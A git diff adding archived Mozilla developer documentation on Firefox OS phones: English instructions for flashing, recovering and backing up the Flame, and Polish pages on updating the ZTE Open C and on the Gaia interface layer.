+<p>If your device is not showing up here, check in the Windows Device Manager. Your Flame may be showing up as "ACER ADB Interface". You can confirm this by unplugging the device and seeing if it disappears from the device manager. Uninstall the driver software by right-clicking on "ACER ADB Interface" and clicking uninstall.  Be sure to check the box in the dialog to delete the driver software.  Now re-run the installer above. It is advisable to set the screen timeout on your Flame to something high (<em>Settings</em> &gt; <em>Display</em> &gt; <em>Screen timeout</em>) as Windows sometimes appears to reinstall the default drivers when the screen turns off.</p>
+
+<h2 id="Updating_your_Flame's_software">Updating your Flame's software</h2>
+
+<p>We will have two main "channels" of Firefox OS software version releases for the Flame phone:</p>
+
+<ul>
+ <li>The first channel is our release channel. Flames ship with this channel and will receive over-the-air updates for future major versions, that is, Flames will update from 1.3 to 2.0 to 2.1, etc.</li>
+ <li>The second channel is our nightly channel. Flames can be flashed to this channel, and after the initial flashing will get over the air updates on a daily or nearly daily basis.</li>
+</ul>
+
+<p>You can get recovery files and tools at the following storage location:</p>
+
+<ul>
+ <li><a href="http://cds.w5v8t3u9.hwcdn.net/Flame_2.0_v180_1.zip">Base image v180.zip</a>: An archive containing the Flame's base image of Firefox OS 2.0.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: Firefox OS images v180 and above are based on Android KK (Kitkat, 4.4); JB (Jellybean, 4.1–4.3) builds have now been discontinued and are no longer supported, so don't use anything older than v180.</p>
+</div>
+
+<div class="warning">
+<p><strong>Important</strong>: When running a shallow or full flash, your phone data will be overwritten: you should therefore back up your data before updating! See the {{anch("Backing up and restoring your Flame data")}} section for more details.</p>
+</div>
+
+<p>To install the base image on your device:</p>
+
+<ol>
+ <li>Make sure remote debugging is enabled on your Flame, using the <em>Remote debugging/Debugging via USB</em> option in the device's <a href="/en-US/Firefox_OS/Debugging/Developer_settings">Developer settings</a> (the option is different, depending on whether you have Firefox 1.3 and under, or Firefox 1.4+ installed).</li>
+ <li>Connect your Flame to your computer via a USB cable if it isn't already. Verify that the computer is connected to the device by running the <code>adb devices</code> command in a terminal.</li>
+ <li>Download the <code>.zip</code> file referenced above. Unzip it onto your Desktop.</li>
+ <li>Go into the directory you extracted the software into and run it:
+ <ul>
+ <li>On Windows, enter the directory in your command prompt, then run the <code>flash.bat</code> script using <code>flash.bat</code> (or double click the file in explorer.)<br>
+ <strong>Note</strong>: If <code>flash.bat </code>is missing, simply rename the <code>flash.sh</code> file to <code>flash.bat</code>, then run that. Make sure you have <code>adb</code> and <code>fastboot</code> installed and available on <code>PATH</code>.</li>
+ <li>On Linux / OSX, enter the directory in your terminal, then run the <code>flash.sh</code> script using <code>sudo ./flash.sh</code> (if you don't run it using <code>sudo</code>, the flash script may fail to see your device, and it won't work).</li>
+ </ul>
+ </li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: You are also welcome to build your own builds to install on the Flame: see <a href="/en-US/Firefox_OS/Building_and_installing_Firefox_OS">Building and installing Firefox OS</a>.</p>
+</div>
+
+<h3 id="Updating_your_Flame_to_a_nightly_build">Updating your Flame to a nightly build</h3>
+
+<div class="note">
+<p><strong>Note</strong>: For this current build, Nightly development builds of Firefox OS do not support A-GPS, which may lead to slow performance of GPS functionality. We plan to resolve this in an updated future Nightly channel.</p>
+</div>
+
+<div class="warning">
+<p><strong>Important</strong>: When running a shallow or full flash, your phone data will be overwritten: you should therefore back up your data before updating! See the {{anch("Backing up and restoring your Flame data")}} section for more details.</p>
+</div>
+
+<ol>
+ <li>Before updating your phone to a Nightly build you should flash the latest base image to make sure the underlying systems are up to date. Download a base image and use it to update your device's software, as explained above.</li>
+ <li>Because the above step installs a fresh operating system on your device, you'll need to enable remote debugging on your Flame again, using the <em>Remote debugging </em>option in the device's <a href="/en-US/Firefox_OS/Debugging/Developer_settings">Developer settings</a>.</li>
+ <li>Next, choose a build to install (found on <a href="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/">http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/</a>.) You'll want one of the following:
+ <ul style="margin-left: 40px;">
+ <li>Production builds (including locales)
+ <ul>
+ <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central-flame-kk/">Latest master builds</a> (currently 2.2)</li>
+ <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-aurora-flame-kk/">Latest aurora builds</a> (currently 2.1)</li>
+ <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-b2g32_v2_0-flame-kk/">Latest release builds</a> (currently 2.0)</li>
+ </ul>
+ </li>
+ <li>Engineering builds (with test apps and only pseudo-locales)
+ <ul>
+ <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central-flame-kk-eng/">Latest master builds</a> (currently 2.2)</li>
+ <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-aurora-flame-kk-eng/">Latest aurora builds</a> (currently 2.1)</li>
+ <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-b2g32_v2_0-flame-kk-eng/">Latest release builds</a> (currently 2.0)</li>
+ </ul>
+ </li>
+ </ul>
+ </li>
+ <li>Pick a version and download both the <code>b2g-XX.XX.en-US.android-arm.tar.gz</code> and <code>gaia.zip</code> files. Save them inside a directory on your Desktop called something like <code>fxos</code>.</li>
+ <li>Download the <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/shallow_flash.sh">shallow flash script</a> and save it in  the same directory as the above two files: follow the link, press the <em>Raw</em> button, then use your browser's save functionality to save the page directly as <code>shallow_flash.sh</code>.</li>
+ <li><strong>For Windows users:</strong> Also download the <a href="https://raw.githubusercontent.com/Mozilla-TWQA/B2G-flash-tool/master/shallow_flash.bat">shallow_flash.bat windows script</a> and install <a href="https://cygwin.com">Cygwin</a>, which provides a Linux-like environment on Windows. You will need to install the default Cygwin <em>base</em> category plus the <em>unzip</em> package (on the installer, type <em>unzip</em> in the search box and click <em>skip</em>).</li>
+ <li>
+ <p>In your Terminal, <code>cd</code> into the directory you saved the files in and Flash the builds to your phone using the following:</p>
+
+ <p><strong>Linux</strong>:</p>
+
+ <pre class="brush: bash">./shallow_flash.sh -ggaia.zip -Gb2g-XX.XX.en-US.android-arm.tar.gz
+</pre>
+
+ <p><strong>Mac</strong>:</p>
+
+ <pre class="brush: bash">./shallow_flash.sh -g gaia.zip -G b2g-XX.XX.en-US.android-arm.tar.gz</pre>
+
+ <p><strong>Windows</strong>:</p>
+
+ <p>Double click <code>shallow_flash.bat</code> (with cogs icon) or run it from a command shell. It will flash <code>gaia.zip</code> and a single <code>b2g-XX.XX.en-US.android-arm.tar.gz</code> file.</p>
+ </li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: If you get a "permission denied" error when running the above commands, your shell script probably doesn't have the right permissions. Running <code>chmod +x shallow_flash.sh</code> on it should solve this problem.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: A "shallow flash" updates <a href="/en-US/docs/Mozilla/Gecko">Gecko</a> and <a href="/en-US/Firefox_OS/Platform/Gaia">Gaia</a> plus data directories, as opposed to a full flash, which updates Gecko/Gaia, but also the underlying <a href="/en-US/Firefox_OS/Platform/Gonk">Gonk</a> layer and associated binaries particular to that device type. This is why it is a good idea to update to the official base image first, as suggested above, then shallow flash over the top of that, once you've got the Gonk/binary layer right.</p>
+</div>
+
+<p>Once the install procedure finishes the phone should reboot into the updated build and display the first time user workflow.</p>
+
+<h4 id="Font_fix">Font fix</h4>
+
+<p>After updating Gecko and Gaia to nightly with the v180 base image, there will be a mismatch between the fonts that Gecko and Gaia expects and what the base image provides. To fix this, download our <a href="https://people.mozilla.org/~mwu/fira-font-update.zip">font update package</a>, extract it, navigate into the directory created by extracting, and run the supplied <code>flash.sh</code> script.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Another option is to use the <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/update_system_fonts.sh"><code>update_system_fonts.sh</code></a> script, which will download and flash the system fonts automatically.</p>
+</div>
+
+<h4 id="Switch_to_nightly_update_channel">Switch to nightly update channel</h4>
+
+<ol>
+ <li>Make sure remote debugging is enabled on your Flame, using the <em>Remote debugging/Debugging via USB</em> option in the device's <a href="/en-US/Firefox_OS/Debugging/Developer_settings">Developer settings</a></li>
+ <li>Download the <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/change_channel.sh">change channel</a> script: follow the link, press the <em>Raw</em> button, then use your browser's save functionality to save the page directly as <code>change_channel.sh</code>.</li>
+ <li>In your Terminal, <code>cd</code> into the directory you saved the script in and change the update channel on your phone using the following command:<br>
+
+ <pre class="brush: bash">./change_channel.sh -v nightly</pre>
+ </li>
+ <li>Once the phone reboots, check for updates by going into <em>Settings &gt; Device information &gt; Check now</em></li>
+</ol>
+
+<p>You should now get nightly OTA updates to your phone.</p>
+
+<div class="note">
+<p><strong>Note:</strong> You can choose between several different update channels. Run "./change_channel.sh -h" to see the other channel options.</p>
+</div>
+
+<h3 id="Fastboot_mode">Fastboot mode</h3>
+
+<p>If flashing a new build to your phone fails to work, your phone may become unresponsive, leading to the phone rebooting in recovery mode. The recovery mode provides few options (<em>Reboot</em>, <em>Update from adb</em>, <em>Wipe data</em>, <em>Wipe cache</em>, and <em>Update from sdcard</em>). Unfortunately, selecting <em>Update from adb</em> triggers a sideload mode in which you cannot use the other adb commands. The <code>adb sideload</code> command would work but the various flash scripts rely on other adb commands.</p>
+
+<p>You can force fastboot mode as follows:</p>
+
+<ol>
+ <li>Power off the phone (which may involve removing the battery in extreme cases...)</li>
+ <li>Plug in the USB cable.</li>
+ <li>Power the phone up again by pressing the Volume Down and Power buttons together.</li>
+</ol>
+
+<p>The phone should now display the text "FASTBOOT": it is in fastboot mode and is waiting for a USB connection. At this point, a USB-connected, computer with adb installed should see the phone listed when the <code>fastboot devices</code> command is run. Note that regular adb would not see the device — only fastboot sees it. In this mode, you can use the flash script to install v180 as explained above. As the script does use both adb and fastboot commands, you may see some initial error and warnings from adb, but the device should be flashed properly at the end of the procedure.</p>
+
+<h3 id="Emergency_download_mode">Emergency download mode</h3>
+
+<p>If flashing a new build to your phone fails to work, your phone becomes unresponsive, and the phone cannot enter fastboot mode, you can use emergency mode for recovery. A USB cable and the <a href="http://cds.w5v8t3u9.hwcdn.net/Flame%20Rescue%20Tool.zip">Emergency Download Tool</a> are required to enter emergency download mode. Install this tool and follow the instructions.</p>
+
+<h3 id="Recovery_mode">Recovery mode</h3>
+
+<p>You can enter recovery mode to clear your phone data or manually update the firmware. There are two ways to enter this mode:</p>
+
+<ul>
+ <li>If <a href="/en-US/Firefox_OS/Debugging/Installing_ADB">ADB</a> tools are available, make sure Remote debugging is turned on in the phone's <a href="/en-US/Firefox_OS/Debugging/Developer_settings#Remote_debugging">Developer settings</a>, connect your phone to your computer via USB and enter <code>adb reboot recovery</code> on the command line.</li>
+ <li>If your phone is powered off, press the Volume Up + Power buttons together.</li>
+</ul>
+
+<p>When in recovery mode, press the Volume up/down keys to move the selection highlight, and the Power key to select. Make sure you have your phone data (Contacts, SMS, etc.) backed up before clearing data, and your upgrade packages downloaded before updating.</p>
+
+<h2 id="Backing_up_and_restoring_your_Flame_data">Backing up and restoring your Flame data</h2>
+
+<p>When using a Flame, you won't want to lose your phone's contacts and other data while upgrading to a new build (as explained earlier in this article). To backup and restore data you can use our <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/backup_restore_profile.sh">Backup and restore profile</a> tool.</p>
+
+<ol>
+ <li>To use this, first download it from Github at the above link. The easiest way to save it is to press the <em>Raw</em> button, then save the raw code as a <code>.sh</code> file using your browser's <em>Save As...</em> option.</li>
+ <li>Next, make sure you'll have the necessary permissions to execute this file: <code>cd</code> into the directory where you saved the file, and run the following command:
+ <pre class="brush: bash">chmod +x backup_restore_profile.sh</pre>
+ </li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: When using this tool, you'll also need to make sure that your phone is connected via USB to your computer, and that ADB (see {{anch("Important steps to follow first")}} above) and Debugging via USB (in your device's <a href="/en-US/Firefox_OS/Debugging/Developer_settings">Developer settings</a>) are enabled.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: These instructions should work on Mac and Linux out of the box. To use the backup and restore feature on Windows you'll have to install <a href="https://www.cygwin.com/">Cygwin</a> and run it from inside that.</p>
+</div>
+
+<h3 id="Backing_up_data_from_your_phone">Backing up data from your phone</h3>
+
+<p>In the directory where you saved the <code>backup_restore_profile.sh</code> file, run the following:</p>
+
+<pre class="brush: bash">./backup_restore_profile.sh -b</pre>
+
+<p>This should save your device profile to a directory called <code>mozilla-profile</code>, in the same directory as the script is located.</p>
+
+<h3 id="Restoring_data_to_your_phone">Restoring data to your phone</h3>
+
+<p>In the directory where your <code>mozilla-profile</code> directory is located (see above section), run the following:</p>
+
+<pre class="brush: bash">./backup_restore_profile.sh -r</pre>
+
+<h3 id="Other_options">Other options</h3>
+
+<p>The full list of options available for the <code>backup_restore_profile.sh</code> script is as follows:</p>
+
+<ul>
+ <li><code>-b</code> or <code>--backup</code> — Backup user profile.</li>
+ <li><code>-r</code> or <code>--restore</code> — Restore user profile.</li>
+ <li><code>--sdcard</code> — Also backup/restore the SD card.</li>
+ <li><code>--no-reboot</code> — Do not reboot B2G after backup/restore.</li>
+ <li><code>-p</code> or <code>--profile-dir</code> — Specify the profile folder. The default is <code>./mozilla-profile</code>.</li>
+ <li><code>-h</code> or <code>--help</code> — Display help.</li>
+</ul>
+
+<h2 id="Pushing_apps_to_your_Flame">Pushing apps to your Flame</h2>
+
+<p>The <a href="/en-US/Firefox_OS/Using_the_App_Manager">App Manager</a> and <a href="/en-US/docs/Tools/WebIDE">WebIDE</a> tools make it easy to push apps to your phone, for testing, etc.</p>
+
+<h2 id="RAM_adjustment">RAM adjustment</h2>
+
+<p>You can adjust the available RAM capacity to see how apps perform on Firefox OS phones with lower memory footprints.</p>
+
+<p>This is accomplished by entering fastboot mode (install fastboot first, which is available on the same SDK page as <a href="/en-US/Firefox_OS/Debugging/Installing_ADB">ADB</a>) and typing:</p>
+
+<pre class="brush: bash">adb reboot bootloader
+fastboot oem mem [0|256-1024]</pre>
+
+<p>“0” is the memory automatically detected and “256-1024” is the number of megabytes. For example, if you want to adjust device RAM capacity to 512M, enter <code>fastboot oem mem 512</code>.</p>
+
+<p>You'll need to then reboot your device for the settings to take effect. This can be done using:</p>
+
+<pre class="brush: bash">fastboot reboot</pre>
+
+<p>The current memory size can be returned by entering fastboot mode and typing:</p>
+
+<pre class="brush: bash">fastboot getvar mem
+</pre>
+
+<h2 id="Network_and_Device_specs">Network and Device specs</h2>
+
+<p><strong>Network</strong>:</p>
+
+<ul>
+ <li>802.11b/g/n wireless internet</li>
+ <li>GSM 850/900/1800/1900MHz</li>
+ <li>UMTS 850/900/1900/2100MHz</li>
+</ul>
+
+<p><strong>Hardware</strong>: You can find more of the hardware features listed on our <a href="/en-US/Firefox_OS/Developer_phone_guide/Phone_specs">Phone and device specs page</a>.</p>
+
+<p>Additional features include:</p>
+
+<ul>
+ <li>NFC</li>
+ <li>Bluetooth 3.0</li>
+ <li>Accelerometer</li>
+ <li>FM radio</li>
+ <li>Proximity Sensor</li>
+ <li>GPS W / A-GPS support</li>
+ <li>Ambient Light Sensor</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>
+ <div class="warning">
+ <div class="syntaxbox"><a href="https://hacks.mozilla.org/2014/08/videos-getting-started-with-your-flame-device/">Getting started with your Flame</a>: How-to videos by Chris Heilmann</div>
+ </div>
+ </li>
+</ul>
+
+<p> </p>
diff --git a/files/pl/archive/b2g_os/phone_guide/zte_open_c/index.html b/files/pl/archive/b2g_os/phone_guide/zte_open_c/index.html
new file mode 100644
index 0000000000..8e4616e631
--- /dev/null
+++ b/files/pl/archive/b2g_os/phone_guide/zte_open_c/index.html
@@ -0,0 +1,82 @@
+---
+title: ZTE OPEN C
+slug: Archive/B2G_OS/Phone_guide/ZTE_OPEN_C
+translation_of: Archive/B2G_OS/Phone_guide/ZTE_OPEN_C
+---
+<div class="summary">
+ <p><span class="seoSummary">ZTE Open C jest następnym telefonem od ZTE z Firefox OS. </span>Posiada między innymi 3-megapikselowy aparat i 4-calowy ekran WVGA. Wyposażony jest w Firefox OS 1.3. Ten artykuł przedstawia informację o tym telefonie oraz szczegóły o aktualizacji i naprawianiu problemów.</p>
+</div>
+<div class="note">
+ <p><strong>Uwaga</strong>: Ten artkuł nie dotyczy ZTE Open. Jeśli posiadasz ten model, powinieneś udać się na stronę <a href="/en-US/Firefox_OS/Developer_phone_guide/ZTE_OPEN">ZTE Open</a>.</p>
+</div>
+<div class="note">
+ <p><strong>Uwaga</strong>: Narzędzie aktualizacji, które jest potrzebne, aby odblokować telefon jest narazię dostępne tylko do systemu Windows. Nie kupuj tego telefonu jeśli nie masz systemu Windows i chcesz ręcznie instalować własne budowy Firefox OS.</p>
+</div>
+<p>ZTE Open C jest pierwszym telefonem z <a href="http://blog.mozilla.org/futurereleases/2014/05/08/firefox-os-update-adds-new-features-including-dual-sim-support-and-enhancements-for-music-lovers-and-gamers">ostatnią aktualizacją Firefox OS</a>, oferującą dużo nowości, w tym dostęp do odtwarzacza muzyki z zablokowanego ekranu oraz pasek powiadomień i zaawansowane udostępnianie bluetooth, pozwalające na przenoszenie wielu plików jednoczesnie. Urzytkownicy mogą teraz poruszać się po telefonie szybciej, dzięki inteligentnym folderom, które grupują aplikacje i wyszukiwanie aplikacji w kategorie. Dodatkowo  zostały przyśpieszone czasy uruchamiania i przewijania systemowych aplikacji, np. kalendarza, kontaktów, aparatu.</p>
+<h2 id="Kupno_urządzenia">Kupno urządzenia</h2>
+<p>Telefon kosztuje US$99.99, i jest dostępny w sklepie eBay:</p>
+<ul>
+ <li><a href="http://item.ebay.com/291125433026">ZTE eBay US store</a></li>
+ <li><a href="http://item.ebay.co.uk/171301269724">ZTE eBay UK store</a> (Klienci z Francji i innych pobliskich europejskich krajów)</li>
+ <li><a href="http://cgi.ebay.de/ws/eBayISAPI.dll?ViewItem&amp;item=131151681046&amp;ssPageName=STRK:MESE:IT">ZTE eBay DE store</a></li>
+ <li><a href="http://www.ebay.com/itm/111326263156">ZTE eBay RU and EU stores</a></li>
+</ul>
+<div class="note">
+ <p><strong>Uwaga</strong>: Telefon nie posiada domyślnie zainstalowanych aplikacji i usług dla konkretnych sieci. Jest odblokowany dla wszystkich operatorów.</p>
+</div>
+<h2 id="Parametry_telefonu">Parametry telefonu</h2>
+<p>Zobacz <a href="/en-US/Firefox_OS/Developer_phone_guide/Phone_specs">Telefony i informacje</a>.</p>
+<h2 id="Aktualizowanie_Firefox_OS">Aktualizowanie Firefox OS</h2>
+<p>Najłatwiej zaktualizować urzywając aktualizacji ze  <a href="http://www.ztedevices.com/support/selectproduct.html?type=software">Strony pomocy ZTE</a>, wybierz swój kraj w lewej kolumnie, "<em>Smart Phones"</em> w środkowej, i w prawej "Open C(European Standard)" jeśli mieszkasz w europie lub "Open C(American Standard)" jeśli w USA. Potem kliknij przycisk "Selected" aby przejść do strony pobierania.</p>
+<p>Gdy pobierzesz aktualizację, w pobranym pliku ZIP poszukaj pliku PDF, pokazującego jak zaktualizować telefon.</p>
+<h2 id="Ręczne_aktualizacje">Ręczne aktualizacje</h2>
+<p>Jesli chcesz zaktualizować Geco lub Gaia samemu, proces jest trochę trudniejszy. Telefon jest domyślnie zablokowany(bez uprawnień root'a). Aby odblokować telefon użyj <a href="http://en.comebuy.com/developer-firefox-os-open-c.html">Open_C_upgrade_Tool na stronie comebuy.com</a>. Te narzędzie aktualizuje firmware dając prawa root'a  i włączając fastboot. Pozwala to także na wgranie nowego oprogramowania na telefon.</p>
+<div class="note">
+ <p><strong>Uwaga</strong>: To narzędzie jest narazię dostępne tylko dla systemu Windows.</p>
+</div>
+<h3 id="Aktualizowanie_Geco_i_Gaia">Aktualizowanie Geco i Gaia</h3>
+<p>Kiedy posiadasz włączony fastboot, możesz <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS">zbudować i zainstalować nowe elementy Firefox OS/B2G</a> Gecko i Gaia na nim.</p>
+<ol>
+ <li>Zacznij od instrukcji <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites">wstępnej budowy</a> i traktuj Open C jak telefon Flame na potrzeby konfiguracji. Ponieważ obydwa (Flame i Open C) bazują na systemie Android Jellybean.</li>
+ <li>W dalszych krokach trzeba odwołać się do niestandardowego pliku manifest. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1016867">Pobież załącznik tego bug'u</a> i zapisz jako openc.xml.</li>
+ <li>Wyczyść katalog B2G, usuwając niepotrzebne katalogi:<br>
+ <pre class="brush: bash" id="comment_text_2">rm -rf objdir-gecko/ out/ backup-flame/</pre>
+ </li>
+ <li>Teraz skonfiguruj Firefox OS następującą komendą:
+ <pre class="brush: bash language-html">./config.sh flame /ŚCIEŻKA/DO/openc.xml</pre>
+ </li>
+ <li>Teraz możesz zbudować i wgrać komponenty Gecko wpisując:
+ <pre class="brush: bash language-html">./build.sh gecko
+./flash.sh gecko</pre>
+ </li>
+ <li>Teraz powinieneś zaktualizować Gaia, aby nowa wersja Gecko działała z odpowiedną wersją Gaia:
+ <pre class="brush: bash language-html">cd gaia
+make reset-gaia</pre>
+ </li>
+</ol>
+<div class="warning">
+ <p><strong>Uwaga</strong>: Próba wgrania całego obrazu Flame może uszkodzić telefon, dlatego jest to niezalecane.</p>
+</div>
+<h3 id="Aktualizowanie_Gaia">Aktualizowanie Gaia</h3>
+<p>Aby zaktualizować tylko Gaia(bez Gecko), musisz zrobić fork'a i zklonować repozytorium Gaia na Github, zanim wgrasz go na telefon.</p>
+<ol dir="ltr">
+ <li>Upewnij się że masz <a href="https://developer.mozilla.org/en-US/Firefox_OS/Debugging/Installing_ADB">ADB</a> zainstalowane.</li>
+ <li>Wejdź na <a href="https://github.com/mozilla-b2g/gaia">https://github.com/mozilla-b2g/gaia</a> i kliknij "fork" w prawym górnym rogu aby zrobić fork'a do własnego repozytorium.</li>
+ <li>Skopiuj kod z własnego repozytorium na komputer, następującą komendą:
+ <pre class="brush: bash language-html">git clone https://github.com/twoj-nick-na-github/gaia.git</pre>
+ </li>
+ <li><code>cd</code> do pobranego katalogu .</li>
+ <li>Na telefonie, <a href="https://developer.mozilla.org/en-US/Firefox_OS/Debugging/Developer_settings#Debugging_via_USB">włącz zdalne debugowanie</a> (wybierz opcję "ADB and Devtools").</li>
+ <li>Teraz podłącz telefon do komputera przez USB. Sprawdź czy ADB dziala komendą  <code>adb devices</code>.</li>
+ <li>Wpisz poniższą komenda, aby zresetować i zaktualizować twój telefon z nową wersją Gaia:
+ <pre class="brush: bash language-html">make reset-gaia</pre>
+ </li>
+</ol>
+<h2 id="Zepsułem_telefon">Zepsułem telefon</h2>
+<p>Jeśli twój telefon przestanie odpowiadać, powinieneś naprawić go urzywając oficjalnych wersji Firefox OS i instrukcji do wgrania ich przez karty SD, na stronie ZTE:</p>
+<ul>
+ <li><a href="http://www.ztedevices.com/support/smart_phone/65229ec9-3165-424e-a7dd-3759356325fd.html?type=software">ZTE Open C (Ebay) - Spain</a></li>
+ <li><a href="http://www.ztedevices.com/support/smart_phone/92f36c98-9cc0-42d6-8f23-8834b4a6849c.html?type=software">ZTE Open C (Ebay) - UK American Standard</a></li>
+ <li><a href="http://www.ztedevices.com/support/smart_phone/46d40c52-bed4-4cdc-9df9-01719cdf0a70.html?type=software">ZTE Open C (Ebay) - UK European Standard</a></li>
+</ul>
+<p>Możesz też odwołać się do tego <a href="https://support.mozilla.org/en-US/questions/1003136">wpisu pomocy technicznej</a> po więcej informacji.</p>
diff --git a/files/pl/archive/b2g_os/platform/gaia/index.html b/files/pl/archive/b2g_os/platform/gaia/index.html
new file mode 100644
index 0000000000..2e30a4b098
--- /dev/null
+++ b/files/pl/archive/b2g_os/platform/gaia/index.html
@@ -0,0 +1,69 @@
+---
+title: Gaia
+slug: Archive/B2G_OS/Platform/Gaia
+translation_of: Archive/B2G_OS/Platform/Gaia
+---
+<p>Gaia jest warstwą interfejsu <a href="/en-US/docs/Mozilla/Firefox_OS" title="Mozilla/Firefox_OS">Firefox OS</a>. Wszystko co pojawia się na ekranie po uruchomieniu Firefox OS jest rysowane przez Gaia, włączając w to ekran logowania, ekran główny, aplikację telefonu i inne. Gaia jest całkowicie napisana w <a href="/en-US/docs/en-US/HTML" title="HTML">HTML</a>, <a href="/en-US/docs/CSS" title="CSS">CSS</a> oraz <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a>. Jedynym interfejsem komunikacji z systemem operacyjnym i sprzętem jest standardowe Web API implementowane przez <a href="/en-US/docs/Gecko" title="Gecko">Gecko</a>.</p>
+<p>Ze względu na sposób w jaki została zaprojektowana, Gaia może być uruchamiana nie tylko na urządzeniach działających pod kontrolą systemu Firefox OS, lecz także na innych systemach operacyjnych i w innych przeglądarkach internetowych (aczkolwiek, w przypadku tych potencjalnie wycofanych, funkcjonalność zależeć będzie od możliwości przeglądarki).</p>
+<p>Aplikacje od zewnętrznych dostawców instalowane poza Gaia mogą być uruchomione za jej pośrednictwem.</p>
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h2 class="Documentation" id="Documentation" name="Documentation">Dokumentacja na temat Gaia</h2>
+ <dl>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Introduction_to_Gaia" title="Mozilla/Boot_to_Gecko/Introduction to Gaia">Wstęp do Gaia</a></dt>
+ <dd>
+ Gaia jest aplikacją stanowiącą interfejs użytkownika dla urządzeń z systemem Firefox OS; to po prostu aplikacja webowa uruchomiona na wierzchu stosu aplikacyjnego systemu Firefox OS. Ten przewodnik wprowadza do Gaia.</dd>
+ <dt>
+ <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Gaia_apps">Aplikacje Gaia</a></dt>
+ <dd>
+ Informacje o każdej z domyślnych aplikacji dostępnych w rodzinie Gaia wraz ze wskazówkami dotyczących ich użytkowania i modyfikacji.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Hacking" title="Mozilla/Boot_to_Gecko/Gaia hacking guide">Przewodnik hackowania Gaia</a></dt>
+ <dd>
+ Przewodnik hackowania i modyfikowania interfejsu Gaia.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Build_System_Primer" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Build_System_Primer">Elementarz Systemu Budującego Gaia</a></dt>
+ <dd>
+ Więszość znaczących prac na etapach kompilacji Gaia jest realizowana przez skrypty znajdujące się wewnątrz podkatalogów katalogu build.</dd>
+ <dt>
+ <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Hacking_Tips_And_FAQ" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Hacking_Tips_And_FAQ">FAQ i wskazówki hackowania Gaia</a></dt>
+ <dd>
+ Lista przydatnych wskazówek i często zadawanych pytań dotyczących hackowania Gaia.</dd>
+ </dl>
+ <p><span class="alllinks"><a href="/en-US/docs/tag/Gaia" title="tag/B2G">Zobacz wszystko...</a></span></p>
+ </td>
+ <td>
+ <h2 class="Community" id="Community" name="Community">Uzyskanie pomocy od społeczności</h2>
+ <p>Jeśli pracujesz z Gaia lub tworzysz aplikacje dla Gaia jest mnóstwo zasobów przygotowanych przez społeczność, które mogą Ci pomóc!</p>
+ <ul>
+ <li>Zasięgnij porad na forum projektu Boot to Gecko: {{ DiscussionList("dev-gaia", "mozilla.dev.gaia") }}</li>
+ </ul>
+ <ul>
+ <li>Zadaj pytanie na kanale IRC projektu Gaia od Mozilli: <a href="irc://irc.mozilla.org/gaia" title="irc://irc.mozilla.org/gaia">#gaia</a></li>
+ </ul>
+ <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">Nie zapominaj o <em>netykiecie</em>...</a></span></p>
+ <br>
+ <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Powiązane tematy</h2>
+ <ul>
+ <li><a href="/en-US/docs/Mobile" title="Mobile">Mobile</a></li>
+ <li><a href="/en-US/docs/Web" title="/en-US/docs/Web">Technologie dla webdevelopera </a>
+ <ul>
+ <li><a href="/en-US/docs/HTML" title="HTML">HTML</a></li>
+ <li><a href="/en-US/docs/CSS" title="CSS">CSS</a></li>
+ <li><a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a></li>
+ </ul>
+ </li>
+ <li><a href="/en-US/docs/WebAPI" title="/en-US/docs/WebAPI">WebAPI</a></li>
+ </ul>
+ <h2 class="Tools" id="Resources" name="Resources">Zasoby</h2>
+ <ul>
+ <li><a href="/en-US/docs/Mozilla/Firefox_OS/Architecture" title="Mozilla/Firefox_OS/Architecture">Przegląd architektury Firefox OS</a></li>
+ </ul>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/pl/archive/b2g_os/platform/index.html b/files/pl/archive/b2g_os/platform/index.html
new file mode 100644
index 0000000000..ff2142919b
--- /dev/null
+++ b/files/pl/archive/b2g_os/platform/index.html
@@ -0,0 +1,81 @@
+---
+title: The Firefox OS platform
+slug: Archive/B2G_OS/Platform
+tags:
+ - B2G
+ - Firefox OS
+ - Landing
+ - TopicStub
+translation_of: Archive/B2G_OS/Platform
+---
